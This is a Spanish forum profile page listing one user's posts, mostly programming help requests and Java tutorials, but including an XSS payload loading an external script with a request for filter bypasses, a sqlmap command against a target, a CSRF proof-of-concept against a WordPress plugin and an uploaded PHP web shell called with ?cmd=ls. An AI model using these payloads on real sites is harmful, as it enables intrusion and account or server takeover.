Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - LKI

#1
Hola amigos, tengo una duda y acudo a ustedes en busca de conocimiento y experiencia. Estoy probando una inyección xss en un input llamemosle "biografia" que se encuentra dentro de la página de configuración del perfil, digamos en /settings el payload es el siguiente:

Código: php
</script><script src=www.examplesite.com/examplescript.js></script>


Luego de guardar los cambios recargo la página /settings y el script es ejecutado correctamente.
Lo que no entiendo es porque al visitar la página de mi perfil, digamos /profile no se carga el valor rellenado en el paso anterior, es decir, debería cargar el script. Pero en vez de ello no carga nada y deja el campo que debería rellenar de forma vacía:


(Se puede ver que dentro del tag <p></p> no carga ningún dato y se encuentra vacío)

Pero el script en cuestión es devuelto por el servidor, ya que al revisar el response se ve claramente que el script viaja de vuelta al cliente:



Mi consulta es, ¿si conocen a que se debe este comportamiento, y qué tipo de tácticas se pueden utilizar para poder bypassear cualquier tipo de restricción y que el script en cuestión se ejecute?. Desde ya, muchas gracias!!
#2
Hola amigos, estoy tratando de usar sqlmap para testear una vulnerabilidad, pero a la hora de ejecutar el comando
Código: php
sqlmap.py -u "tagetwebsite.com?example=1"
obtengo el error 403 forbidden y luego cuando el script termina me indica que obtuvo todos errores 403 forbidden. Lo raro es que al usar postman puedo ejecutar dicha url sin ninguna cookie o token de autorización, lo mismo desde el browser o incógnito. ¿Alguna idea?
Dejo las imágenes con los resultados y errores de la consola:

#3
Hola underc0ders, tengo una duda,  me gustaría seguir expandiendo mis habilidades de detección de vulnerabilidades. Actualmente tengo conocimientos sobre SQL, XSS, LFI y Shell upload (no se si tiene un término para referirse a este ataque) ¿qué otras técnicas existen para verificar la seguridad de un sitio web?.
Saludos.
#4
Dudas y pedidos generales / Hardware para Machine Learning
Diciembre 25, 2019, 08:56:11 PM
Hola a todos, estoy empezando en este mundo de machine learning con Python y Tensorflow. He logrado entrenar mi primer modelo y he podido implemenetarlo en Google Cloud. Me gustaría invertir en harware debido a que actualmente tengo una notebook un poco vieja que al ejecutar mi modelo demora mucho en devolver el resultado (15segundos) por ello utilizo Google Cloud que demora 5 a 7 segundos. Necesito asesoramiento ya que no tengo mucha idea de hardware, debería comprar una nueva pc y orientar todos los componentes a machine learning? o debería optimizar mi modelo entrenado para disminuir el tiempo de ejecución?. Dejo una captura de mis componentes actuales de hardware a lo mejor mejorando algún componente pueda mejorar el tiempo de ejecución?. Espero que alguien con conocimientos de ML pueda orientarme.



Saludos.
#5
Hola chicos resulta que mi sitio de word press es vulnerable debido al plugin "HandL UTM Grabber V < 2.6.5". Me gustaría comprender esta vulnerabilidad, he leido este artículo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y no termino de comprender bien la vulnerabilidad, ¿cuál sería el daño que se puede ocasionar y cómo se llevaría acabo?

He probado ejecutar este código:
Código: php
<html>
<body>
<form action="http://vulnerable-site.com/wp-admin/admin-ajax.php?action=handl_notice_dismiss" method="POST">
<input type="hidden" name="field" value="users_can_register" />
<input type="submit" value="Submit" />
</form>
</body>
</html>


Y mi sitio devuelve un "0". ¿Significaría que el ataque se realizo con éxito? ¿Y ahora que acciones intrusivas podría realizar?


No he encontrado, más información que explique en detalle como llevar a cabo este ataque e información para comprender la vulnerabilidad. Espero que alguien pueda ayudarme.
Saludos.
#6
Hola chicos estoy con un proyecto de tensorflow que funciona localmente a la perfección, he decidido subirlo a Google Cloud para poder hacer predicciones en línea. He probado enviar peticiones con el comando:

Código: php
gcloud ai-platform predict --model my_model_test  --version model_v1 --json-instances prediction_input.json


Y el mismo retorna un array de números, que no me sirve, (en realidad no se interpretarlo). Por lo que seguí la siguiente guía de Google para tratar de devolver un string con la respuesta:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pero al momento de enlazar en la consola de Google ml (Crear versión de modelo) mi código personalizado que devuelve un string (Predictor), junto con el modelo entrenado (usé la versión 2.0 de TF) Obtengo el siguiente error: "Unexpected error when loading the model: "load_model" requires h5py.

Probé agregando la dependencia, como indica la guía usando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, pero el error continúa. Espero que alguien pueda ayudarme!

Les dejo los recursos que estoy utilizando por si sirve para complementar la pregunta. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#7
Hola chicos! estoy empezando a usar Google Colab y tensorflow, estoy entrenando un modelo en particular "faster_rcnn_inception_v2_coco" con el siguiente comando:

Código: php
"python train.py --logtostderr --train_dir=training/ --pipeline_config_path=training/faster_rcnn_inception_v2_coco.config


El entrenamiento se ejecuta correctamente pero los checkpoints no se guardan en la carpeta especificada, es decir, "training", por el contrario veo que se guardan en /tmp/tmpXXX y en cada nuevo entrenamiento se crea una nueva carpeta temp y no se resume desde el último checkpoint sino que empieza desde 0. ¿Alguien sabe como puedo solucionar esto? Saludos.
#8
Dudas y pedidos generales / [SOLUCIONADO] Tesseract OCR
Octubre 01, 2019, 12:36:12 PM
Hola a todos, tengo una duda, estoy investigando esta tecnología para el reconocimiento óptico de caracteres y estoy un poco perdido, he probado algunos ejemplos y han funcionado. Pero con la siguiente imágen estoy teniendo problemas:


El comando que uso es:

Código: php
tesseract default.jpg output --psm 8 -c tessedit_char_whitelist=0123456789abcdfghijkmnlopqrsturstuvwxyzGres


Y el resultado obtenido es:
lost

Espero que me puedan guiar, o dar algún recurso donde pueda leer más. Saludos.
#9
Hola a todos! ¿Cómo estan? tengo una duda, espero que alguien pueda ayudarme, estoy haciendo un proyecto para la universidad en C# y python, en python tengo el programa cliente y en C# tengo desarrollada una web api servidor que recibe los pedidos del cliente y los procesa y retorna los datos solicitados.

Mi problema surge debido a que debo ejecutar varios clientes al mismo tiempo, y la web api al recibir múltiples request procesa en forma asyncrona (eso creo..) estos pedidos alterando el resultado deseado, ya que cada programa cliente debe recibir datos únicos desde la api para realizar un proceso específico y actualmente a veces se retorna el mismo cliente desde la api (obtenidos desde base de datos) a varios programas cliente python.

Dejo los códigos por si sirve para darle contexto a la pregunta:

1) Se ejecuta un archivo .bat que abre x instancias del programa cliente hecho en python:

Código: php
cd "C:\Users\mnn\Desktop\workspace"

start py cliente.py

start py cliente.py

start py cliente.py

.....

pause


2) Cada programa cliente llama a la web api en espera de datos únicos que utiliza para hacer su proceso:


3) La web api en c# recibe la request obtiene los datos (desde una base de datos sql server) de un cliente único que no está siendo utilizado por ningún programa cliente, asocia (inserta los dos id en una tabla de sql server) el id único del programa cliente python con el id único del cliente obtenido en la base de datos y retorna los datos del cliente. (Este es el paso que falla ya que la web api al procesar las request al mismo tiempo devuelve los mismos datos de un cliente a varios programas cliente python) (El código esta simplificado no se ven las querys por ejemplo ya que la idea es mostrar el flujo de llamadas de cliente a web api y de web api a base de datos y retorno de datos al cliente python)


Adjunto Log mostrando el resultado no deseado, es decir, procesamiento asyncrono (foto)



Espero haber podido ser claro!!

Saludos!
#10
Hola a todos!! ¿Cómo están?

Tengo una inquietud sobre la resolución de un captcha. He estado investigando y he descubierto que es posible la resolución de captchas de manera automática utilizando una técnica conocida como OCR (Reconocimiento Óptico de caracteres). Por el momento todo bien, mi problema surge cuando al inspeccionar el captcha en cuestión me encuentro con lo siguiente:


Cómo se ve en la imágen el tag img tiene un atributo src que apunta a una url dinámica, dejo el nodo html:
Código: php
<img id="captchaLogin" src="captcha/default.aspx?pos=2&amp;vers=427404578" alt="Código de verificación">


Este es mi mayor problema ya que al tratar de obtener la imágen del captcha mediante varios métodos desde el lado de javascript he probado con librerías como html2canvas y html2picture, modificar el atributo del nodo img para que al hacer click descargue la imágen con el atributo donwload de HTML5, utilizar drag and drop creando nodos para que copie la imágen, etc y al final el resultado fue el mismo, el navegador en cada uno de los métodos realizaba una petición HTTP GET a la URL dinámica y la misma generaba una imágen distinta a la orginal, por lo que ninguno generaba el resultado que yo necesito, es decir, descargar la imágen original generada al cargar la página web. Tengo algunas ideas pero no se como se podrían llevar a cabo ya que personalmente no es mi fuerte la programación del lado cliente, como por ejemplo:


El navegador chrome tiene una pestaña que es neetwork en donde al aplicar el filtro Img permite visualizar los recursos de tipo Imágen que la web utiliza y haciendo click derecho se puede guardar la imágen, obviamente no se si es posible realizar esto mediante una forma automática.

Espero que alguno de ustedes pueda ayudarme. Saludos!!
#11
Hola a todos espero que alguien pueda asesorarme. Mi idea es hacer un dispositivo de trackeo para mi auto he visto que voy a necesitar una antena gps y una antena gsm más una plaqueta arduino y demás componentes como baterias y un chip. ¿Ustedes que me podrían recomendar respecto a precio calidad para poder llevar a cabo este proyecto? ¿Hay algun kit que puedan recomendarme?.
Saludos.
#12
Hola underc0ders!!


Hola gente hermosa de underc0de, hoy vengo con una duda que me ha surgido recientemente, ya que un amigo me presento una idea para desarrollar una app Android, estilo red social instagram twitter... Yo soy desarrollador Java creo tener una base y conocimientos sólidos en este lenguaje pero nunca he desarrollado en Android a este nivel.. , se que desarrollar una app de este estilo conlleva mucho sacrificio, años dependiendo de las circunstancias, "pero no creo en los limites"..

Mi pregunta es la siguiente: ¿Que pasos me aconsejan realizar para llegar a obtener un nivel avanzado en desarrollo de apps Android?. Me refiero a pasos más que nada por que acudo a la experiencia de aquellas personas que han desarrollado e invertido mucho tiempo en el desarrollo Android, puntualmente necesito ahorrar la mayor cantidad de tiempo posible en cuanto a investigación, por eso necesitaria una excelente guia o libro que apunte justo al desarrollo avanzado y no se pierda en cuestiones que no me aportarían nada  a mi emprendimiento. "El tiempo es oro".

Desde ya saludos a toda la comunidad!.
PD: Espero con ansias sus respuestas..
#13
Hola underc0ders tengo una duda sobre una vulnerabilidad..
He logrado subir mi shell a un servidor vulnerable, logre cambiar el formato de mi imagen jpg a .php.
Pero no se como ejecutarla o como se haría ya he probado con .php?cmd=ls y no ha funcionado....
Aclaro que el codigo php lo incruste en la sección de comentario del archivo jpg y luego logre cambiar su extension por php..
Saben como podria ejecutar mi codigo? si es correcto? o deberia buscar alguna otra shell?.

Desde ya muchas gracias a todos  los que deseen ayudarme , no tengo ningún fin malintencionado si logro vulnerar el servidor me comunicare con el webmaster para avisarle y que lo fixee.



PD: Buque en la sección pero no arrojo ningún resultado, por eso es que acudo a ustedes..
#14
Buenas a todos, hoy les vengo a consultar ¿cual seria la forma mas recomendable de iniciarse en este lenguaje?. Tengo conocimiento de programación en C++, Java , (frameworks como Spring, JSF , Hibernate), conocimientos web html5, css3 , javascript, etc.

Quisiera iniciarme en este lenguaje para luego poder aprender algun framework como Laravel. Saludos a todos!
#15

Ordenar de mayor a menor según cantidad de apariciones las siguientes letras del alfabeto. Si empatan, ordenar alfabéticamente. Dar la respuesta en minúscula.


  • La cadena es la siguiente:

Código: php
qanwPVEAwnmSViNjTOLZPRRSaTAECnbArUjPmELcsWhdVMXYfdYLUGLpjLdOMdzvAEgfhXWNvRJZqMhlwocRPHKcwbUFJVjBjmLOwPVqjoYHLTtixQAnBHwuvfxDMPnAbpHBRNYTpKSzxLTWOusljvXidQjqbqjgcvpFMLbPPOkHdTTJbkswfdEeeFTbllerqvbFMpO


Se puede usar cualquier algoritmo y cualquier lenguaje!!

PD: Para que no se quejen el reto oficial es de la siguiente pagina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y siempre cambia solo me pareció un buen reto nada más que eso.


Ganadores:

  • 79137913
  • MF
#16
Buenas gente de underc0de!!

Vengo a consultarles si tienen idea de como conectar una app de facebook con un webservice de Java, ya que al parecer he visto unos tutoriales y facebook cambio todas las api y no encuentro informacion relacionada.
Saludos!!
#17
Otros lenguajes / Programación de videojuegos
Diciembre 20, 2014, 01:39:30 AM

Hola gente a continuacion les dejo unos libros para aquellos interesados en la programación de videojuegos, espero que les guste!!!


LINK ->No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta






LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


LINK ->No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




LINK -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#18
Bueno gente me encontre con esto en una publicacion de facebook y me hizo reir un rato jajaj aca se los dejo:
PD: Hagan click sobre la imagen para visualizarla correctamente









fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#19
Dudas y pedidos generales / Duda sobre wordpress
Noviembre 19, 2014, 03:10:02 AM
Hola les hago una consulta a cerca de wordpress, resulta que navegando por una pagina web se me dio por revisar el robots.txt y encontre que estaba deshabilitado el "/wp-includes/"  luego lo invoque en la url y observe que se puede navegar por algunos directorios (se observaba un index largo con algunNombre.php). Bueno mi duda en general es si es provechoso o se pueda llegar a vulnerar este contenido..
                     
                                                         



PD: He buscado en google pero no he encontrado nada claro.
#20
En este concurso usted debe asumir el papel de una entidad maliciosa", explicó la compañía. El desafío consta en ingresar a los servidores y extraer datos de una conversación.

                                                     
 

La aplicación de mensajería instantánea para móviles presentó hoy un concurso que premia con 300 mil dólares a quien logre vulnerar su sistema de seguridad encriptado.

La iniciativa, denominada "Cryptocontest", busca desafiar a cualquier persona a que ingrese a los servidores del servicio e intente extraer datos sensibles (como correo electrónico y contraseña) de una conversación privada entre dos usuarios ficticios.

"En este concurso usted debe asumir el papel de una entidad maliciosa", explica el comunicado oficial de la compañía fundada por los hermanos Durov el año pasado.

La comunicación virtual a "crackear", utiliza el sistema "Chats Secretos", una característica de Telegram que consiste en un tipo de protocolo de encriptación seguro.

Quien consiga vulnerar el sistema, deberá enviar el mensaje encriptado completo a la dirección de correo obtenida, con los registros de sesión y una explicación detallada del ataque informático, para obtener su premio.

En caso de haber un ganador, Telegram lo anunciará en el momento que ocurra o revelará la solución el 4 de febrero de 2015.

Se trata del segundo concurso de este tipo que lanza la compañía rusa ya que, con el mismo objetivo, a principios del año ofreció una recompensa en bitcoins por un valor equivalente a 200 mil dólares, aunque finalmente no hubo ganador.

Los concursos que premian los hallazgos de vulnerabilidades en sistemas informáticos son habituales en las grandes empresas de tecnología como Google y Microsoft.

Fuente: mdzol
#21
Java / [Libro JAVA] Java a Fondo!!
Octubre 28, 2014, 12:54:51 AM

  • Libro avanzado de programación en Java haciendo uso de la metodología orientada a objetos.


                                           



    • Editorial: Alfaomega

      • Autor: Pablo Augusto Sznajdleder

      • Paginas: 446

      • Calidad: Excelente (Recomendado)

    • Nivel: Medio - Avanzado


Link ->No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#22
Java / Factory Method Java
Octubre 21, 2014, 02:14:34 AM
Buenas gente, en este nuevo tutorial tratare de implementar y explicar lo que se conoce como "Factory Method". Veamos que dice la WIKIPEDIA:
CitarEl patrón de diseño Factory Method consiste en utilizar una clase constructora  dedicado a la construcción de objetos de un subtipo de un tipo determinado. Es una simplificación del Abstract Factory, en la que la clase abstracta tiene métodos concretos que usan algunos de los abstractos; según usemos una u otra hija de esta clase abstracta, tendremos uno u otro comportamiento.

Beneficios:

  • Evitamos hardcodear métodos y objetos.
  • Permite desacoplar la implementación de los métodos
  • Abstracción y legibilidad de código
  • Permite la reutilización de código
Manos a la obra..

  • Empezaremos creando un conjunto de clases modelos-bases para poder implementar y explicar nuestro ejemplo:
Código: java




public class Telefono {

//ATRIBUTOS Y METODOS...

public Telefono() {
// MÁS CODIGO POR ACA
}

}


public class Paloma extends Ave{

//ATRIBUTOS Y METODOS...

public Paloma() {
// MÁS CODIGO POR ACA
}

}



public class Reliquia {

//ATRIBUTOS Y METODOS...

public Reliquia() {

// MÁS CODIGO POR ACA
}

}



  • Creamos una interface "Comunicador"
Código: java
public interface Comunicador {

public void enviarMensaje(String mensaje);
}



  • Por ultimo, las clases TelefonoCelular, PalomaMensajera y Telegrafo, cada una hereda de una clase base diferente, pero todas implementan la interface "Comunicador". Por lo tanto heredan y deben sobrescribir el método enviarMensaje();
Código: java

public class TelefonoCelular extends Telefono implements Comunicador {

@Override
public void enviarMensaje(String mensaje) {

//Hacer lo que corresponda aqui

}

}



public class PalomaMensajera extends Paloma implements Comunicador{

@Override
public void enviarMensaje(String mensaje) {

//Hacer lo que corresponda aqui

}

}

public class Telegrafo extends Reliquia implements Comunicador {

@Override
public void enviarMensaje(String mensaje) {

//Hacer lo que corresponda aqui

}


}



  • Luego podriamos hacer algo como lo siguiente:
Código: java


Comunicador c1 = new TelefonoCelular();
Comunicador c2 = new PalomaMensajera();
Comunicador c3 = new Telegrafo();

//E invocar unicamente al metodo enviarMensaje()


Pero la verdadera importancia de todo esto la veremos a continuación:

  • Desacoplamiento de clases:

Supongamos que tenemos una clase utilitaria llamada ComunicadorManager con un metodo estatico crearComunicador:

Código: java

public class ComunicadorManager{

public static Comunicador crearComunicador{

     
      //retornamos cualquier objeto que necesitemos sin afectar en lo mas mínimo al programa ejemplo:
      //return new TelefonoCelular();
     //return new Telegrafo();

   return new PalomaMensajera();
   }
}




  Y utilizando esta clase podriamos escribir un programa como el que sigue:

Código: java


public class MiAplicacionDeMensajes {

public static void main(String[] args) {


Comunicador c = ComunicadorManager.crearComunicador();
c.enviarMensaje("Hola, esto es solo un ejemplo!!");

}

}



En este programa utilizamos la clase ComunicadorManager para obtener "un comunicador" a través del cual enviar nuestro mensaje. Lo interesate de esto es que en el método main no hardcodeamos ninguna de las clases que implementan el la interface Comunicador. Simplemente creamos un objeto comunicador utilizando el método crearComunicador y le invocamos su método enviarMensaje.

  Conclusión:


  • El metodo crearComunicador de la clase ComunicadorManager  nos permitio obtener una instancia de Comunicador sin tener que hardcodear un tipo de comunicador en particular.

  • Gracias a este método nuestro programa (el método main) quedo totalmente desacoplado de la implementación concreta del comunicador y, como vimos más arriba, cualquier objeto que se cree por mas distinto que sea no afecta ni perjudica en lo más mínimo al programa, ya que este esta totalmente separado(desacoplado) de dicha implementación.

  • Decimos entonces que utilizamos  el método crearComunicador para "fabricar objetos comunicadores". Este método constituye una factoría de objetos. A los métodos que realizan este tipo de tareas se los denomina factory.

Fuente: Java a Fondo
por: Ing Pablo Augusto SZnajdleder


#23
Java / [Java] Contador de Lineas
Octubre 16, 2014, 05:44:44 PM
Hola gente les traigo un programita que estuve haciendo es muy simple pero espero que les pueda servir a aquellos programadores que les gusta saber la cantidad de lineas que tiene sus programas :P


  • Estructura del programa:
       

  • Creamos la Ventana (nombre: Aplicacion)
Código: java
package aplicacion;

import java.awt.BorderLayout;

public class Aplicacion extends JFrame {

/*
* Creamos nuestra GUI donde veremos todos los elementos visuales
*
*/
private JMenuBar barra;
private JMenu menu;
public JMenuItem menuItem;
private JScrollPane scrollPane;
private JPanel panelCentral;
public JTextArea area;
private int lineas;
public JLabel labelContador;
private JPanel panelInferior;
private String texto;
private JMenu menuFormato;
private JMenu menuFuente;
private JMenu menuTamanio;
private JMenu menuColor;
public JMenuItem paletaDeColores;
public JMenuItem tamanio2;
public JMenuItem tamanio1;
public JMenuItem fuente1;
public JMenuItem fuente2;
public JMenuItem fuente3;


public Aplicacion() {

/*
* En el constructos inicializamos los paneles y la configuracion de la ventana
*/
iniciarPanelInferior();
iniciarPanelCentral();
iniciarMenu();
iniciarGUI();
}

private void iniciarPanelInferior() {

/*
* Creamos nuestro PanelInferior y lo añadimos a la parte SUR de la Ventana
*/
panelInferior = new JPanel();
labelContador = new JLabel(" ");
labelContador.setFont(new Font("Arial Unicode MS", Font.BOLD, 18));
panelInferior.add(labelContador);
getContentPane().add(panelInferior, BorderLayout.SOUTH);

}

private void iniciarMenu() {

/*
* Iniciamos nuestro menu que luego llevara a cabo los eventos del usuario
*/
barra = new JMenuBar();
menu = new JMenu("Opciones");
menuFormato = new JMenu("Formato");

menuItem = new JMenuItem("Abrir Archivo");

menu.add(menuItem);
menu.add(menuFormato);

menuColor = new JMenu("Color");
menuFormato.add(menuColor);

paletaDeColores = new JMenuItem("Abrir Paleta de colores");
menuColor.add(paletaDeColores);

menuTamanio = new JMenu("Tama\u00F1o");
menuFormato.add(menuTamanio);

tamanio1 = new JMenuItem("18");
menuTamanio.add(tamanio1);

tamanio2 = new JMenuItem("20");
menuTamanio.add(tamanio2);

menuFuente = new JMenu("Fuente");
menuFormato.add(menuFuente);

fuente3 = new JMenuItem("MonoSpaced");
menuFuente.add(fuente3);

fuente2 = new JMenuItem("Times New Roman");
menuFuente.add(fuente2);

fuente1 = new JMenuItem("Arial");

menuFuente.add(fuente1);
barra.add(menu);
setJMenuBar(barra); //Agregamos la barra con los menues a la ventana

}

private void iniciarPanelCentral() {
/*
* Iniciamos el panelCentral de la aplicacion donde tendremos el texto a contar
*/
area = new JTextArea();
area.setFont(new Font("Monospaced", Font.PLAIN, 15));
scrollPane = new JScrollPane(area);
scrollPane.setViewportView(area);

scrollPane
.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS);
getContentPane().add(scrollPane, BorderLayout.CENTER);

}

private void iniciarGUI() {
/*
* Configuramos las caracteristicas de la ventana (tamaño,titulo,visibilidad,eje de vista)
*/
setSize(595, 426);
setTitle("Contador de Lineas");
setLocationRelativeTo(null);
setVisible(true);

}

}



  • Creamos el Controlador (nombre: Controlador)
Código: java


package controlador;

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

import modelo.Modelo;
import aplicacion.Aplicacion;

public class Controlador implements ActionListener {
/*
* Creamos Nuestro controlador que comunicara todos los eventos con el modelo
*/
private int tam = 16;
private Modelo modelo;
private Aplicacion aplicacion;

public Controlador(Aplicacion _ap, Modelo _modelo) {

//Recibimos y seteamos el modelo y la aplicacion
this.modelo = _modelo;
this.aplicacion = _ap;
agregarEventos();
}

private void agregarEventos() {

/*
* Agregamos los eventos de la ventana y le inidicamos que este objeto sera su manejador
*/
this.aplicacion.menuItem.addActionListener(this);
this.aplicacion.menuItem.setActionCommand("abrirArchivo");
this.aplicacion.paletaDeColores.addActionListener(this);
this.aplicacion.paletaDeColores.setActionCommand("paletaDeColores");
this.aplicacion.tamanio1.addActionListener(this);
this.aplicacion.tamanio1.setActionCommand("tam1");
this.aplicacion.tamanio2.addActionListener(this);
this.aplicacion.tamanio2.setActionCommand("tam2");
this.aplicacion.fuente1.addActionListener(this);
this.aplicacion.fuente1.setActionCommand("fuente1");
this.aplicacion.fuente2.addActionListener(this);
this.aplicacion.fuente2.setActionCommand("fuente2");
this.aplicacion.fuente3.addActionListener(this);
this.aplicacion.fuente3.setActionCommand("fuente3");

}

@Override
public void actionPerformed(ActionEvent evento) {

/*
* Segun el evento ejecutamos la accion pertinente
*/
switch (evento.getActionCommand()) {

case "abrirArchivo":
this.modelo.abrirArchivo();
this.aplicacion.area.setText(this.modelo.texto);
this.aplicacion.labelContador.setText("Total de lineas ="+ this.modelo.getLineas());
break;

case "paletaDeColores":

this.aplicacion.area.setForeground(this.modelo.cambiarColor());
break;

case "tam1":

this.aplicacion.area.setFont(this.modelo.nuevaFuente(
this.aplicacion.area.getFont().toString(), 18));

tam = 18;
break;

case "tam2":

this.aplicacion.area.setFont(this.modelo.nuevaFuente(
this.aplicacion.area.getFont().toString(), 20));

tam = 20;
break;

case "fuente1":
this.aplicacion.area.setFont(this.modelo.nuevaFuente("Arial",tam));

break;

case "fuente2":
this.aplicacion.area.setFont(this.modelo.nuevaFuente("Times New Roman", tam));

break;
case "fuente3":

this.aplicacion.area.setFont(this.modelo.nuevaFuente("Monospaced", tam));
break;
}

}

}




  • Creamos el modelo (nombre: Modelo)
Código: java


package modelo;

import java.awt.Color;
import java.awt.Font;
import java.io.*;

import javax.swing.JColorChooser;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;

public class Modelo {

public String texto;
private int lineas;
private Color color;
private Font nuevaFuente;
private Font fuente;

public Modelo() {

}

public Color cambiarColor(){ //Metodo que retorna un color seleccionado a partir de un componente modal ColorChooser
JColorChooser ventanaDeColores = new JColorChooser();
color = ventanaDeColores.showDialog(null,"Seleccione un Color", Color.gray);
    return color;

}

public String abrirArchivo() {
               setLineas(0);
String aux = "";
texto = "";
try {
/** llamamos el metodo que permite cargar la ventana */
JFileChooser file = new JFileChooser(); //creamos nuestro buscador de archivos

file.showOpenDialog(null);
/** abrimos el archivo seleccionado */
File abre = file.getSelectedFile(); // creamos un archivo que contendra el archivo seleccionado en el buscador

/**
* recorremos el archivo, lo leemos para plasmarlo en el area de
* texto y para  obtener el numero de lineas de codigo
*/
if (abre != null) {
FileReader archivos = new FileReader(abre);
BufferedReader lee = new BufferedReader(archivos);
while ((aux = lee.readLine()) != null) {
texto += aux + "\n";
lineas++;
setLineas(lineas);
}
lee.close();
}
} catch (IOException ex) {
JOptionPane.showMessageDialog(null, ex + ""
+ "\nNo se ha encontrado el archivo", "ADVERTENCIA!!!",
JOptionPane.WARNING_MESSAGE);
}
return texto;// El texto se almacena en el JTextArea
}





/*
* Setter y getters
*/

public int getLineas() {
return lineas;
}

public void setLineas(int lineas) {
this.lineas = lineas;
}

/*
* Metodo para cambiar la fuente de la aplicacion
*
*/
public Font nuevaFuente(String font, int tamanio) {

nuevaFuente = new Font(font, Font.PLAIN, tamanio);
return nuevaFuente;
}
}




  • Y finalmente creamos nuestro ejecutable (nombre: Main)
Código: java

package ejecutable;

import controlador.Controlador;
import modelo.Modelo;
import aplicacion.Aplicacion;

public class Main {

public static void main(String[] args) {

Aplicacion aplicacion = new Aplicacion();
Modelo modelo = new Modelo();

/*
* Creamos y le pasamos como parametros al controlador la ventana y el modelo
*/
new Controlador(aplicacion, modelo);

}

}



Funcionando..
                                   
#24
Java / [JAVA][MYSQL] Tutorial Basico
Octubre 04, 2014, 04:33:17 PM
Buenas gente llevo unos días preparando este tutorial que por mas básico que sea, me llevo un buen rato asi que espero que lo disfruten :P

Requisitos:
-IDE (Eclipse/Netbeans) No es obligatorio.
-Gestor de base de datos con MYSQL (Yo usare AppServ  2.5.10 pero se puede usar cualquier otro) Obligatorio.
-El driver MYSQL para conectarnos a la base de datos (Se puede bajar de la pagina oficial de MYSQL) Obligatorio.
-Conocimientos Básico-Intermedios de programación.


Introduccion:
Para llevar a cabo este tutorial se hará uso de la metodología MVC (Modelo-Vista-Controlador).
CitarEl cual es un patrón de arquitectura de software que separa los datos y la lógica de negocio de una aplicación de la interfaz de usuario y el módulo encargado de gestionar los eventos y las comunicaciones. Para ello MVC propone la construcción de tres componentes distintos que son el modelo, la vista y el controlador, es decir, por un lado define componentes para la representación de la información, y por otro lado para la interacción del usuario.Este patrón de arquitectura de software se basa en las ideas de reutilización de código y la separación de conceptos, características que buscan facilitar la tarea de desarrollo de aplicaciones y su posterior mantenimiento. WIKIPEDIA


Diseño:

Base de datos


  • Creacion de la base de datos.
[/list]
Código: sql
CREATE DATABASE  `dbtest` ;

  • Creacion de la tabla y volcado de la misma.
Código: sql
-- Estructura de tabla para la tabla 'producto'
--

CREATE TABLE producto (
  p_id varchar(6) NOT NULL,
  p_nombre varchar(21) NOT NULL,
  p_precio float NOT NULL default '0',
  p_cantidad int(20) NOT NULL default '0',
  PRIMARY KEY  (p_id)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Volcar la base de datos para la tabla 'producto'
--

INSERT INTO producto VALUES ('P9-U7J', 'Producto 1', 100, 0);
INSERT INTO producto VALUES ('KO-8HY', 'Producto 2', 56.9, 0);
INSERT INTO producto VALUES ('UJ-9KK', 'Producto 3', 120.5, 0);
INSERT INTO producto VALUES ('KK-77G', 'Producto 4', 23.4, 0);
INSERT INTO producto VALUES ('KJ-886', 'Producto 5', 88, 0);
INSERT INTO producto VALUES ('PP-99P', 'Producto 6', 78.9, 0);
INSERT INTO producto VALUES ('GH-77U', 'Producto 7', 99.9, 0);


Estructura de la base de datos:
                         

Programacion:

  • Estructura del programa

  • Creación de las clases:
Empezaremos creando un nuevo proyecto en eclipse FILE -> New -> Java Project y de nombre al proyecto le pondremos TutorialUndercode. Click izquierdo en el proyecto (NEW -> Package ) y crearemos los paquetes controlador,vista y modelo.

La Vista:
Empezaremos creando el modelo GUI (Interfaz Grafica de Usuario) para nuestro proyecto que tendrá la siguiente forma:
               

VentanaVista2:
Crearemos dentro del paquete vista otra ventana que nos permitira ingresar nuevos registros a la base de datos:
Código: JAVA
package vista;

import javax.swing.JDialog;
/*
* Se desarrolla una clase de tipo JDialog que permite
*  agregar elementos a partir de una nueva ventana.
*
*/
public class VentanaVista2 extends JDialog {
public JTextField txtID;
public JTextField txtNombre;
public JTextField txtPrecio;
public JTextField txtCantidad;
public JButton aceptar;

public VentanaVista2() {

iniciarComponentes();

}

/*
* Se inicializa una GUI normal.
*/
private void iniciarComponentes() {

this.setSize(225, 209);
getContentPane().setLayout(null);

JLabel id_producto = new JLabel("id_producto");
